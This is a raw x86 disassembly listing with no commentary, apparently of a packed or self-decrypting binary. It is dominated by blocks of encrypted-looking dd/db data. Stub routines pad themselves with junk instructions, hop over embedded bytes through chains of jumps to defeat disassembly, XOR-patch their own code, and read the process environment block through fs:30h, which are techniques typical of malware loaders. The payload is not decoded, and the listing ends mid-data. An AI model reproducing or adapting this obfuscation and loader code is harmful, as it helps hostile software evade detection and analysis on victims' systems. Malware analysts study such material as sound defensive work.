		dd 3374B26h, 705E6143h,	9A484AB4h, 9F286264h, 0AF36DECDh
		dd 345465FDh, 26E84AF0h, 1C465532h, 5460BF1Bh, 0DAFF407Eh
		dd 8A133271h, 0D5C395D1h, 0B06FF8Dh, 0AD31E840h, 1E1F9495h
		dd 4043EC1Dh, 0C915A013h, 305B04A5h, 0C55E644Eh, 0EC30BFDh
		dd 4C88CBB4h, 484865C8h, 0C396C3B4h, 3EC3401Eh,	0C5BA4B54h
		dd 0E55767F5h, 38484AE3h, 33CBD8F8h, 5D3C4900h,	0CD0C3BC3h
		dd 0F1463CBEh, 16685D6Bh, 833C328h, 10B8B24Bh, 0BBC38E5Fh
		dd 49674953h, 64685E20h, 0C5404C27h, 1956B7C5h,	7B5E1054h
		dd 0C3D80EA0h, 4D8145F4h, 0C5C16406h, 20082263h, 0CE874376h
		dd 7FDD2219h, 5E645EE9h, 1E6FCDC1h, 884BBEA0h, 0F5B0462Bh
		dd 36A1C755h, 0DCCD475Bh, 0BEA2E08h, 1B4A1D39h,	244E8C09h
		dd 4781CD7Ch, 4006C1CCh, 4F618719h, 8D4E0F26h, 334A7B6Ah
		dd 52E2DDC3h, 2C87E6C5h, 723DF46Bh, 4F482B9Ah, 89BF65A3h
		dd 563CC848h, 28A9C91Ah, 374DE764h, 4FCDC519h, 62577718h
		dd 4BC805Fh, 7B585CA7h,	804B4055h, 5EBC3D03h, 8F559A1Ah
		dd 2260AE6Ah, 43256FB3h, 0EB99E3CDh, 560054ABh,	0FF886A3h
		dd 484E96DEh, 0B3D0C38h, 803C344h, 0BF4BB9C3h, 0CBA14E8Eh
		dd 2D594D89h, 0A9C1F68Eh, 0D880644Fh, 0F7FA01Fh, 0C8E7627Dh
		dd 6481D181h, 4FC479FDh, 0E577321h, 4947E244h, 17161548h
		dd 0C31D8B13h, 0B48CCBA4h, 0F610540Eh, 4EA3C913h, 5540C35Dh
		dd 46C3B04Ah, 0B719834Bh, 408AC1DBh, 1E0D0BA4h,	8936C34Ch
		dd 9B484897h, 887BB34Bh, 5E3C4A4Bh, 4B4AC31Ah, 6EB43D8Bh
		dd 7B38C748h, 8ACB12E3h, 0CBACA34Ch, 6EFCFB8Eh,	8D3D4EE0h
		dd 912FC181h, 0C3B048CCh, 67B84935h, 40170FD2h,	113C8B73h
		dd 4A703FC3h, 1AC62048h, 9BC3BB4Bh, 15C19063h, 90C3E5B0h
		dd 20E5924Bh, 77F02863h, 0A1CB80C3h, 0FAC81040h, 2EA53C4Ah
		dd 2EB60D8Fh, 35CB2EE5h, 0A8118B29h, 4B2E4C3Ch,	69E74A2Eh
		dd 0B0C3B6C8h, 47B7AFC9h, 0A0892EB3h, 48417244h, 3D4BB094h
		dd 0B00DC34Dh, 0F4014F49h, 9A897514h, 4A79FFA3h, 0C32EDB28h
		dd 2568D005h, 4F441D8Ah, 0D2C48A4Bh, 0A34048F0h, 2822AEBCh
		dd 22F4D8E9h, 14A0B32Dh, 3EC79B06h, 0D2A88B5Eh,	423C741Ah
		dd 61519645h, 4FA318B6h, 0A7885A2Eh, 47B01DC1h,	0E1580EFFh
		dd 0E8EB256Dh, 7BE1353Dh, 97C5DA8Bh, 0C1AEB2CAh, 848B405h
		dd 5A164A75h, 73B07EC3h, 0C37C3587h, 0FE470E4Eh, 48654998h
		dd 0B41D4281h, 4E3CA064h, 9FC280B6h, 324A543Dh,	8A72087Bh
		dd 8940453Dh, 8CCE5888h, 0D3F9478Ah, 0A25D494Eh, 4C4CAE5Ch
		dd 3E4A57F8h, 0E111680h, 0DBE13C5Ch, 737D6508h,	2778783Ch
		dd 5EBF0B98h, 2AB530A1h, 0A3E73804h, 9548195Fh,	0CB8A7644h
		dd 0B72E4AA4h, 4A51BA2Bh, 181A5A3Eh, 4611EFA0h,	544E578Ah
		dd 52261F01h, 0B46D1254h, 5F090547h, 596FCBC3h,	96D78084h
		dd 0DBACC0Bh, 5E053C90h, 3BA75C95h, 21A74835h, 894003D0h
		dd 0BB4AB189h, 21B54BEDh, 4BA9EE10h, 5EE26EC1h,	68B24C33h
		dd 99074924h, 96824BE3h, 0E2A0062Bh, 0CBF33412h, 0EBCE7365h
		dd 3D8B34D4h, 9C3D1AEAh, 2C64ABA9h, 4A0F259Bh, 2869E880h
		dd 1E1A19B8h, 0FB9DD858h, 593A9E2Ch, 35F37FBBh,	2B798AA4h
		dd 1C8063D7h, 0B651ECB9h, 16032934h, 0C297660Ah, 0C3D4104Ch
		dd 1C6200F6h, 1ABC890Eh, 6003A040h, 0C3AF0D56h,	0CDCC4419h
		dd 0B7A4A0FBh, 89470398h, 3C3C087Ch, 8C5F0A3Dh,	43405A3Ch
		dd 0DC75BFCh, 251E70A4h, 82A3A042h, 4320B212h, 35734350h
		dd 0A3B13DA0h, 0C474C359h, 4D8FC7B7h, 1A46A05Bh, 6344A889h
		dd 84CD898Fh, 1216167Ch, 0C5D633F6h, 773D2443h,	37FDE0Eh
		dd 13D8083Eh, 524BE3FEh, 1502008Ah, 89DA9363h, 4DCE4171h
		dd 3C4E719Ch, 4B4B4B6Ch, 4457CE0Bh, 5990620h, 0B736FB2Eh
		dd 2F9A74C8h, 1B191F18h, 6DA561FCh, 210857A0h, 69C692h
		dd 0DD984111h, 238DA35Ch, 25F44C54h, 3E2A3E3Bh,	0CAEFCA25h
		dd 0D528FCFh, 3CCBC144h, 0E614AF54h, 4B6E24D7h,	0C30E0EBEh
		dd 61B7A7DBh, 0B7A96E5Ah, 459BDB9Ah, 148D246Ch,	3D0606B8h
		dd 0C43D73A3h, 2091588Dh, 52589368h, 1D0A5ED8h,	0C34A3D5Ch
		dd 664069Eh, 0EB8FBA7Dh, 5B9ED161h, 0CCC89BBh, 50F1501Ah
		dd 6D41E1B3h, 8D8CD17Ah, 0A0E916Eh, 0E31846A3h,	0CE09E0C9h
		dd 8AC7939h, 0C4316308h, 67125704h, 0CCCC6613h,	81EF2D27h
		dd 0D34AC1C8h, 0A3BD5338h, 0FFED62E4h, 0E5D59C32h, 6B06D824h
		dd 0D2637866h, 0B96F7131h, 1863DCC1h, 573547Ch,	0EC0AB144h
		dd 2E81D5C9h, 2D104B14h, 5468D543h, 0BB344F08h,	74080Dh
		dd 4D34C55Ch, 494819F6h, 6F8FCB50h, 0A18987C3h,	0C51944A9h
		dd 0BC42447Eh, 564C2218h, 0B3918989h, 0E04FC256h, 0E85EAA26h
		dd 0C0C8644Ch, 0EE07114Fh, 0D5623F3h, 0BBCD55E6h, 2D9B7A8Dh
		dd 0EFD65F2Fh, 86EA0644h, 48447B80h, 9773FC8h, 21243838h
		dd 213C292Bh, 2D682627h, 0F0DD63Ah, 3A273A43h, 3C4D2B48h
		dd 3D3A4843h, 48663C38h, 682D201Ch, 2C2D2B38h, 84483A3Dh
		dd 3B6DDA5Eh, 682C243Dh, 683C2726h, 3F95E82Ah, 682724A9h
		dd 0D994321h, 40C3CF4h,	0B22DC804h, 18FB8DC2h, 24292C65h
		dd 0F3442E2Ch, 1F4862ACh, 0EEF168Eh, 3B3D562Bh,	92484853h
		dd 5487A7Bh, 293B3B2Dh,	270A2D2Fh, 3F480930h, 0B5CDDA3Bh
		dd 982E3C70h, 2365F813h, 0D242D26h, 310A2130h, 183C7F52h
		dd 78480B48h, 290027D7h, 2D242C26h, 2D380748h, 12A250F0h
		dd 272D0F26h, 27CC29C3h, 0E87EB124h, 3A211EF7h,	202B3D3Ch
		dd 3C2B97EEh, 0AB39FCEDh, 0BB39D23Eh, 0C6CACF74h, 839925E3h
		dd 31AF2535h, 0A39B8346h, 6DA97418h, 3200DF37h,	6470F7A6h
		dd 4851EDD4h, 284AF3BCh, 6C6C3CC3h, 606C34C3h, 817BE5B4h
		dd 593C88CDh, 54C59A7Bh, 4BF9EC70h, 48483AA0h, 73BE3B48h
		dd 0CDCB47B3h, 1B484848h, 937B1F1Dh, 0C3A57B0Bh, 5534C58Bh
		dd 0C3A3C348h, 4819A097h, 0B93B4848h, 487514C5h, 0A7C38F4Bh
		dd 48480AA0h, 17AA3B48h, 89631315h, 8DC3413Bh, 484875A0h
		dd 0F96CA348h, 4861A04Eh, 885B4848h, 8BE3D01h, 484861A0h
		dd 75A0C348h, 4848C849h, 75B791CBh, 48484FC9h, 1EB791CBh
		dd 0B863BFC3h, 916ECBBh, 389EB41h, 920675D2h, 0D20392ADh
		dd 0C933C342h
		dd 0FFEDE841h, 0C913FFFFh, 0FFFFE6E8h, 0C3F272FFh, 28247C2Bh
		dd 1C247C89h, 0CC261h, 10184h, 0EA0h, 1A4h, 108A3h, 100D8h
		dd 100DCh, 10000000h, 100D0h, 100D4h, 0F705B8h,	9E888D00h
		dd 89100012h, 548B0141h, 528B0424h, 0E902C60Ch,	2B05C283h
		dd 0FC4A89CAh, 0B8C3C033h, 12345678h, 58F64h, 83000000h
		dd 535504C4h, 52565751h, 1257988Dh, 538B1000h, 0E88B5218h
		dd 68406Ah, 0FF000010h,	6A0473h, 3104B8Bh, 0FF018BCAh
		dd 0F88B5AD0h, 338B5250h, 320438Bh, 89088BC2h, 438B204Bh
		dd 8BC2031Ch, 1C4B8908h, 4B8BF203h, 8DCA030Ch, 57501C43h
		dd 5AD1FF56h, 8430358h,	8B52F88Bh, 0FC468BF0h, 2B04C083h
		dd 85689F0h, 890C4B8Bh,	0D7FF144Eh, 133F8589h, 0F08B1000h
		dd 5A144B8Bh, 0CA030CEBh, 800068h, 57006A00h, 0C68B11FFh
		dd 595F5E5Ah, 0E0FF5D5Bh, 6Fh dup(0)
		dd 1000h, 0Ch, 39C9h, 10000h, 0Ch, 39813974h, 3	dup(0)
		dd 29EB0000h, 7AA59C0Fh, 4621882Bh, 0EB5D3407h,	0A0A3D22Eh
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		dd 0E80BDA85h, 0A6E0EB01h, 22EB94E7h, 83323Dh, 2CDF7E39h
		dd 0EBFB8AF5h, 1826EBF1h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h
		dd 48EB3A65h, 0E9EB06E1h, 0F4C72CEBh, 6063921Dh, 8CBFDE19h
		dd 78DBEAD5h, 0B6EDEB51h, 428D24B7h, 8E899053h,	9A45BCAFh
		dd 66C1A8CBh, 0F2FD54A7h, 3EF9C043h, 6660EC9Fh,	1E8569Ch
		dd 0D8000000h, 52FF8766h, 0D38BD503h, 531B8D5Ah, 87006D8Dh
		dd 87D82BDBh, 5BD803D2h, 4F56C381h, 0C38105B6h,	0FA49B0AAh
		dd 6D8D53h, 815BDB8Bh, 769C13EAh, 13C28132h, 5E32769Ch
		dd 38B681h, 7DD50000h, 0EA810000h, 0
		dd 0F38153h, 2B000000h,	5BED87DBh, 83FFEA83h, 0EA81FFC2h
		dd 0A0C2495Fh, 495FC281h, 248DA0C2h, 0DF8B5324h, 3AB6815Bh
		dd 5F000000h, 80000000h, 0FFFFF8B6h, 0B6818FFFh, 0FFFFFFF9h
		dd 1E856A7h, 3BB681h, 640000h, 665E0000h, 0FF9DE99Dh, 2FEBFFFFh
		dd 0AE29B0F3h, 0DC3EEB4Fh, 0C86BBAE5h, 74478661h, 0E0E3129Dh
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
		dd 284B1AC5h, 0EB27E641h, 727DD4D4h, 0BE7940C3h, 0CA356C1Fh
		dd 96B1583Bh, 22ED0417h, 10EF83B3h, 5D342EEBh, 0EBA0A3D2h
		dd 0FF1E5939h, 1B2A15CCh, 0F7F691B8h, 9382CD64h, 0EFCEC9D0h
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch
		dd 7118D5EBh, 2BEBD756h, 73E2ADC4h, 0CF2EA930h,	0F2EB655Ch
		dd 0EB2FEB3Ah, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch
		dd 0B7B65178h, 53428D24h, 0EB8E8990h, 45BCAFE0h, 0C1A8CB9Ah
		dd 0FD54A766h, 0F9C043F2h, 0C0339F3Eh, 97162AEBh, 33A26D84h
		dd 6931EBF0h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 6F4EDBEBh
		dd 8B5A057Ch, 67268168h, 3B2BD14h, 100B9h, 509C6600h, 4E8h
		dd 75AC5F00h, 0E983410Ah, 1C08301h, 0EBFFC083h,	0E983AE01h
		dd 1E983FFh, 0A161EB81h, 0C3810F86h, 0F86A161h,	9D7405EBh
		dd 81E0E312h, 0D1F8F4E9h, 0CE981F1h, 520E2E07h,	0D68BD003h
		dd 0C281h, 0C2810000h, 0
; ---------------------------------------------------------------------------
		pop	edx


loc_408CA1:				; CODE XREF: .text:00408D0Dj
		pop	eax
		xor	dword ptr [eax+48h], 0A5h
		sub	edx, 0
		jmp	short loc_408CB5
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------


loc_408CB5:				; CODE XREF: .text:00408CB2j
		push	ebx
		add	ebx, ebp
		add	ebx, 0
		sub	ebx, ecx
		mov	ebx, eax
		pop	ebx
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		sub	ebx, 0FFFFFFFFh
		dec	ebx
		push	edx
		mov	edx, eax
		mov	edx, ebx
		lea	ecx, [ecx]
		sub	edx, 0
		mov	edx, eax
		mov	edx, eax
		pop	edx
		xchg	edx, edx
		add	eax, 1
		add	eax, 0FFFFFFFFh
		xor	dword ptr [eax+49h], 68h
		xor	byte ptr [eax-8], 8Fh
		xor	dword ptr [eax-7], 4E850D7h
		xor	dword ptr [eax+4Ah], 48DBh
		pop	eax
		popfw
		jmp	loc_408CA1
; ---------------------------------------------------------------------------
		jmp	short loc_408D44
; ---------------------------------------------------------------------------
		dd 2A15CCFFh
		db 1Bh,	0B8h, 91h
; ---------------------------------------------------------------------------


loc_408D1B:				; CODE XREF: .text:loc_408D44j
		jmp	short loc_408D59
; ---------------------------------------------------------------------------
		db 0F6h, 0F7h, 64h
		dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh
; ---------------------------------------------------------------------------


loc_408D44:				; CODE XREF: .text:00408D12j
		jmp	short loc_408D1B
; ---------------------------------------------------------------------------
		dw 2EA9h
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h
		db 0BFh
; ---------------------------------------------------------------------------


loc_408D59:				; CODE XREF: .text:loc_408D1Bj
		repe scasb
		jmp	short loc_408D81
; ---------------------------------------------------------------------------
		align 2


loc_408D5E:				; CODE XREF: .text:loc_408D81j
		jmp	short loc_408D91
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		dd 0F033A26Dh
		db 69h
; ---------------------------------------------------------------------------


loc_408D81:				; CODE XREF: .text:00408D5Bj
		jmp	short loc_408D5E
; ---------------------------------------------------------------------------


loc_408D83:				; CODE XREF: .text:loc_408D91j
		jmp	short loc_408DAC
; ---------------------------------------------------------------------------
		db 0EEh, 8Fh, 1Ch
		dd 8ABFA25h, 0B487C6A1h
		db 0DDh
; ---------------------------------------------------------------------------


loc_408D91:				; CODE XREF: .text:loc_408D5Ej
		jmp	short loc_408D83
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]


loc_408D96:				; CODE XREF: .text:loc_408DACj
		jmp	short loc_408DC7
; ---------------------------------------------------------------------------
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh,	7C6F4E49h
; ---------------------------------------------------------------------------


loc_408DAC:				; CODE XREF: .text:loc_408D83j
		jmp	short loc_408D96
; ---------------------------------------------------------------------------
		add	eax, 81688B5Ah


loc_408DB3:				; CODE XREF: .text:loc_408DC7j
		jmp	short loc_408DE2
; ---------------------------------------------------------------------------
		db 26h,	67h, 14h
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h
; ---------------------------------------------------------------------------
		icebp
		setalc
		push	edi


loc_408DC7:				; CODE XREF: .text:loc_408D96j
		jmp	short loc_408DB3
; ---------------------------------------------------------------------------
		db 44h,	2Dh, 62h
		dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h
		db 3Fh,	0Ch
; ---------------------------------------------------------------------------


loc_408DE2:				; CODE XREF: .text:loc_408DB3j
		cld
		pushfw
		push	ebx
		call	sub_408DEF
; ---------------------------------------------------------------------------
		pop	ebx
		clc
		sal	dword ptr [esi], 1

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_408DEF	proc near		; CODE XREF: .text:00408DE6p
		jmp	short loc_408DF8
; ---------------------------------------------------------------------------
		retn	10D3h
; ---------------------------------------------------------------------------
		dd 3C2F0E09h
; ---------------------------------------------------------------------------


loc_408DF8:				; CODE XREF: sub_408DEFj
		push	ebx
		mov	ebx, ebp
		pop	ebx


loc_408DFC:				; CODE XREF: sub_408DEF+4Aj
		pop	ebx
		xor	dword ptr [ebx+11h], 48DEh
		add	eax, 95E8028Eh
		add	eax, 6A17FD72h
		xor	dword ptr [ebx+13h], 5Ah
		xor	byte ptr [ebx-8], 8Fh
		xor	dword ptr [ebx-7], 4E85388h
		xor	dword ptr [ebx+14h], 2Ah
		pop	ebx
		popfw
		jmp	loc_408DFC
sub_408DEF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_408E6D
; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------


loc_408E41:				; CODE XREF: .text:loc_408E6Dj
		jmp	short loc_408E86
; ---------------------------------------------------------------------------
		db 35h
; ---------------------------------------------------------------------------
		retf	583Bh
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		db 82h
; ---------------------------------------------------------------------------


loc_408E6D:				; CODE XREF: .text:00408E3Ej
		jmp	short loc_408E41
; ---------------------------------------------------------------------------
		db 93h
		dd 0EFCEC9D0h, 0BDA85FCh
; ---------------------------------------------------------------------------


loc_408E78:				; CODE XREF: .text:loc_408E86j
		jmp	short loc_408E99
; ---------------------------------------------------------------------------
		dw 1E8h
		dd 3D94E7A6h, 39008332h
		db 7Eh,	0DFh
; ---------------------------------------------------------------------------


loc_408E86:				; CODE XREF: .text:loc_408E41j
		jmp	short loc_408E78
; ---------------------------------------------------------------------------
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h
; ---------------------------------------------------------------------------
		pop	esp


loc_408E99:				; CODE XREF: .text:loc_408E78j
		jnz	loc_408FAF
		pushfw
		push	esi
		call	sub_408EAF
; ---------------------------------------------------------------------------
		db 0EBh
		dd 0C706E148h
		db 0F4h, 1Dh, 92h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_408EAF	proc near		; CODE XREF: .text:00408EA2p
		xchg	edi, edi
		push	ecx
		sub	ecx, ebx
		mov	ecx, ecx
		pop	ecx
		add	edx, 1
		add	edx, 0FFFFFFFFh
		xchg	ebx, ebx
		xchg	dx, dx
		xchg	ebp, ebp
		push	ebx
		xchg	dx, dx
		pop	ebx
		push	eax
		lea	edi, [edi]
		lea	esp, [esp]
		pop	eax
		push	ecx
		mov	ecx, ecx
		mov	ecx, ebx
		sub	ecx, edi
		xchg	esi, esi
		add	ecx, ebp
		add	ecx, ecx
		pop	ecx
		sub	ecx, 292DB3E4h
		sub	ecx, 0D6D24C1Ch
		add	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		lea	esi, [esi]
		xor	eax, 0
		sub	eax, 0A60BDBD9h
		add	eax, 0A60BDBD9h
		sub	ecx, 64310BB4h
		sub	ecx, 9BCEF44Ch


loc_408F0D:				; CODE XREF: sub_408EAF+C0j
		pop	esi
		xor	dword ptr [esi+66h], 9Dh
		add	ebx, 0FFFFFFFFh
		inc	ebx
		xchg	ebx, ebx
		sub	edx, 0FFFFFFFFh
		add	edx, 0FFFFFFFFh
		xchg	bp, bp
		add	ebx, 0D3FD6A6h
		add	ebx, 0F2C0295Ah
		xchg	ebp, ebp
		add	edx, 1B9314ECh
		add	edx, 0E46CEB14h
		add	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		xor	dword ptr [esi+67h], 68h
		xor	byte ptr [esi-8], 8Fh
		xor	dword ptr [esi-7], 8E856F5h
		xor	dword ptr [esi+68h], 66D7h
		pop	esi
		popfw
		jmp	loc_408F0D
sub_408EAF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_408F9F
; ---------------------------------------------------------------------------
		dw 0D6F1h
		dd 622D4457h
		db 0F3h
; ---------------------------------------------------------------------------


loc_408F7D:				; CODE XREF: .text:loc_408F9Fj
		jmp	short loc_408FAF
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h
		dd 0F85B6A55h, 0A43736D1h
		db 0Dh,	0C2h, 0D3h
; ---------------------------------------------------------------------------


loc_408F9F:				; CODE XREF: .text:00408F74j
		jmp	short loc_408F7D
; ---------------------------------------------------------------------------
		db 10h,	9, 0Eh
		dd 1AC53C2Fh, 0E641284Bh
; ---------------------------------------------------------------------------
		daa
		aam	7Dh


loc_408FAF:				; CODE XREF: .text:loc_408E99j
					; .text:loc_408F7Dj
		mov	eax, large fs:30h
		jmp	short loc_408FE5
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------


loc_408FB8:				; CODE XREF: .text:loc_408FE5j
		jmp	short loc_408FFA
; ---------------------------------------------------------------------------
		dw 1FBEh
		dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h,	2B7AA59Ch
		dd 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh,	0F7F691B8h
		db 64h
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: .text:00408FB5j
		jmp	short loc_408FB8
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h
		db 32h,	83h
; ---------------------------------------------------------------------------


loc_408FFA:				; CODE XREF: .text:loc_408FB8j
		test	eax, eax
		jmp	short loc_40902D
; ---------------------------------------------------------------------------
		dw 8AF5h
		db 0FBh, 18h
; ---------------------------------------------------------------------------


loc_409002:				; CODE XREF: .text:loc_40902Dj
		jmp	short loc_409044
; ---------------------------------------------------------------------------
		dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h,	0F4C706E1h
		dd 6063921Dh, 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh
		db 89h
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: .text:00408FFCj
		jmp	short loc_409002
; ---------------------------------------------------------------------------


loc_40902F:				; CODE XREF: .text:loc_409044j
		jmp	short loc_40905D
; ---------------------------------------------------------------------------
		db 8Eh,	0AFh, 0BCh
		dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h
; ---------------------------------------------------------------------------


loc_409044:				; CODE XREF: .text:loc_409002j
		jmp	short loc_40902F
; ---------------------------------------------------------------------------
		dw 4AB5h
		dd 1631D8BBh, 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_40905D:				; CODE XREF: .text:loc_40902Fj
		jnz	loc_4091D6
		jmp	short loc_409095
; ---------------------------------------------------------------------------
		db 7Fh,	4Ch, 95h
		dd 11389BAAh
		db 76h,	77h
; ---------------------------------------------------------------------------


loc_40906E:				; CODE XREF: .text:loc_409095j
		jmp	short loc_4090AA
; ---------------------------------------------------------------------------
		dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h
		dd 5FFEB980h, 7B0A75ACh, 57D6F198h, 0F3622D44h
		db 0B0h
; ---------------------------------------------------------------------------


loc_409095:				; CODE XREF: .text:00409063j
		jmp	short loc_40906E
; ---------------------------------------------------------------------------
		db 29h
		db 0AEh, 4Fh, 0DCh
; ---------------------------------------------------------------------------


loc_40909B:				; CODE XREF: .text:loc_4090AAj
		jmp	short loc_4090BD
; ---------------------------------------------------------------------------
		db 0E5h, 0BAh, 6Bh
		dd 478661C8h, 0E3129D74h
		db 0E0h, 99h
; ---------------------------------------------------------------------------


loc_4090AA:				; CODE XREF: .text:loc_40906Ej
		jmp	short loc_40909B
; ---------------------------------------------------------------------------
		pop	esi
		aas


loc_4090AE:				; CODE XREF: .text:loc_4090BDj
		jmp	short loc_4090E0
; ---------------------------------------------------------------------------
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h
		db 10h
; ---------------------------------------------------------------------------


loc_4090BD:				; CODE XREF: .text:loc_40909Bj
		jmp	short loc_4090AE
; ---------------------------------------------------------------------------
		db 9
		dd 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h,	356C1FBEh
		dd 0B1583BCAh, 0ED041796h, 0E970B322h
; ---------------------------------------------------------------------------


loc_4090E0:				; CODE XREF: .text:loc_4090AEj
		popa
		pushfw
		push	esi
		call	sub_4090F0
; ---------------------------------------------------------------------------
		db 9Ch,	0A5h, 7Ah
		dd 4621882Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4090F0	proc near		; CODE XREF: .text:004090E4p
		sub	eax, 30D16D2Eh
		sub	eax, 0CF2E92D2h
		push	eax
		xchg	ebp, ebp
		mov	eax, edx
		mov	eax, eax
		mov	eax, ebx
		sub	eax, edx
		xchg	ecx, ecx
		pop	eax
		add	eax, 0
		sub	edx, 0
		lea	ebp, [ebp+0]


loc_409116:				; CODE XREF: sub_4090F0+86j
		pop	esi
		xor	dword ptr [esi+2Dh], 9Dh
		inc	ecx
		sub	ecx, 1
		sub	eax, 2A281DCEh
		sub	eax, 0D5D7E232h
		add	eax, 0
		add	ecx, 480EE2D4h
		add	ecx, 0B7F11D2Ch
		add	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		xor	ecx, 0
		xchg	ecx, ecx
		xor	dword ptr [esi+2Eh], 68h
		xor	byte ptr [esi-8], 8Fh
		xor	dword ptr [esi-7], 7E856ACh
		xor	dword ptr [esi+2Fh], 2DE9h
		pop	esi
		popfw
		jmp	loc_409116
sub_4090F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_4091AA
; ---------------------------------------------------------------------------
		pop	esp


loc_40917E:				; CODE XREF: .text:loc_4091AAj
		jmp	short loc_4091BF
; ---------------------------------------------------------------------------
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
		dd 24B7B651h, 9053428Dh, 0BCAF8E89h, 0A8CB9A45h, 54A766C1h
		db 0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_4091AA:				; CODE XREF: .text:0040917Bj
		jmp	short loc_40917E
; ---------------------------------------------------------------------------
		inc	ebx


loc_4091AD:				; CODE XREF: .text:loc_4091BFj
		jmp	short loc_4091D6
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		db 6Dh,	0A2h, 33h
; ---------------------------------------------------------------------------


loc_4091BF:				; CODE XREF: .text:loc_40917Ej
		jmp	short loc_4091AD
; ---------------------------------------------------------------------------
		db 0F0h, 69h, 0EEh
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
		db 7Fh,	4Ch
; ---------------------------------------------------------------------------


loc_4091D6:				; CODE XREF: .text:loc_40905Dj
					; .text:loc_4091ADj
		mov	eax, [eax+0Ch]
		pushfw
		push	ecx
		call	near ptr loc_4091E8+1
		wait
		cmp	[ecx], dl
		jbe	short loc_40925D
		in	al, 4Dh


loc_4091E8:				; CODE XREF: .text:004091DCp
		add	ch, bl
		add	eax, 57C6F4Eh
		pop	edx
		jmp	short loc_4091F9
; ---------------------------------------------------------------------------
		dw 2681h
		dd 0B2BD1467h
		db 3
; ---------------------------------------------------------------------------


loc_4091F9:				; CODE XREF: .text:004091F0j
		push	edx
		add	edx, esi
		mov	edx, eax
		mov	edx, edi
		jmp	short loc_409207
; ---------------------------------------------------------------------------
		dw 4457h
		db 2Dh,	62h, 0F3h
; ---------------------------------------------------------------------------


loc_409207:				; CODE XREF: .text:00409200j
		xchg	dx, dx
		mov	edx, edi
		pop	edx
		lea	esp, [esp]
		xchg	bx, bx
		lea	ebp, [ebp+0]


loc_409216:				; CODE XREF: .text:00409258j
		pop	ecx
		xor	dword ptr [ecx+35h], 0ADF1D2h
		sub	eax, 1
		sub	eax, 0FFFFFFFFh
		xchg	dx, dx
		push	ecx
		mov	ecx, ebp
		add	ecx, eax
		pop	ecx
		xor	dword ptr [ecx+38h], 0DCh
		xor	byte ptr [ecx-8], 8Fh
		xor	dword ptr [ecx-7], 8E851A4h
		xor	dword ptr [ecx+39h], 0D200003Fh
		pop	ecx
		popfw
		jmp	loc_409216
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: .text:004091E4j
		jmp	short loc_409289
; ---------------------------------------------------------------------------
		db 27h
		dd 0C3727DD4h
		db 40h,	79h
; ---------------------------------------------------------------------------


loc_409266:				; CODE XREF: .text:loc_409289j
		jmp	short loc_40929A
; ---------------------------------------------------------------------------
		dd 356C1FBEh, 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh
		dd 21882B7Ah, 5D340746h, 59A0A3D2h
